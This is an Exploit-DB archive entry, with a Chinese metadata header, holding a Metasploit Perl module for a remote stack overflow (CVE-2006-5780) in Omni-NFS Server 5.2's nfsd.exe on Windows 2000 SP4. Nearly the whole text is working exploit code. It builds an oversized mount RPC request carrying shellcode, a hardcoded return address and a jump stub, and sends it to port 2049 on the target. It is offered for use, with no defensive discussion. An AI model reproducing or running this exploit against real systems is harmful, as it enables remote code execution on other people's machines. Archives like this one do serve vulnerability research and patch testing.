标题: Omni-NFS Server 5.2 - 'nfsd.exe' Remote Stack Overflow (Metasploit) EDB-ID: 2729 CVE: 2006-5780 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-06 漏洞利用脚本: # vd_xlink.pm
#
# The exploit is a part of VulnDisco Pack - use only under the license agreement
# specified in LICENSE.txt in your VulnDisco distribution

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use strict;

package Msf::Exploit::vd_xlink;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info = 
{
 "Name"      => "[0day] Omni-NFS Server overflow",
     "Version"   => "\$Revision: 1.0 \$",
     "Authors"   => ["Evgeny Legerov"],
     "Arch"      => ["x86"],
     "OS"        => ["win32"],
     "Priv"      => 1,
     "UserOpts"  =>
                {
                 "RHOST" => [1, "ADDR", "The target address"],
                     "RPORT" => [1, "PORT", "The target port", 2049],
                },

     "Description" => Pex::Text::Freeform(q{
   Exploit for Omni-NFS Server stack overflow vulnerability.
  }),


    "Payload" =>
         {
                "Space"     => 427,
           },

        "DefaultTarget"  => 0,
        "Targets"        =>
          [
          ["Omni-NFS Server 5.2 (nfsd.exe: call ebx) / Windows 2000 SP4", 0x00401843]

          ],

        "Keys"           => ["vd_xlink"],
};

sub new {
 my $class = shift;
 return $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
}

sub Exploit {
 my $self = shift;
        my $host = $self->GetVar("RHOST");
        my $port = $self->GetVar("RPORT");
 my $writedir = $self->GetVar("DIR");
 my $bind_port = $self->GetVar("LPORT");
 my $target = $self->Targets->[$self->GetVar("TARGET")];
 my $encodedPayload = $self->GetVar("EncodedPayload");
        my $shellcode   = $encodedPayload->Payload;

      my $payload = "";
        $payload .= "\x4d" x 9;
        $payload .= $shellcode;
        $payload .= "\x4d" x (427 - length($shellcode));
        $payload .= "\x4d\x4d\x4d\x2d";
        $payload .= pack("V", $target->[1]);
        $payload .= "\xe9\x17\xfb\xff\xff"; # jmp $-1257
        $payload .= "\x45" x 351;

        my $s = "";
        $s .= pack("N", 1);
        $s .= pack("N", 0);
        $s .= pack("N", 2);
        $s .= pack("N", 100005);
        $s .= pack("N", 1);
        $s .= pack("N", 1);

        $s .= pack("N", 1);
        $s .= pack("N", 400);
        $s .= substr($payload, 0, 400);

        $s .= pack("N", 1);
        $s .= pack("N", 400);
        $s .= substr($payload, 400);

                
 my $req = pack("N", length($s) | 0x80000000) . $s;

   my $sock = Msf::Socket::Tcp->new("PeerAddr" => $host, "PeerPort"  => $port);
        if ($sock->IsError) {
                $self->PrintLine("Error creating socket: " . $sock->GetError);
                return;
        }

 $sock->Send($req);
 
 sleep(3);

 $sock->Close();
}

__END__

# milw0rm.com [2006-11-06] URL: https://www.exploit-db.com/exploits/2729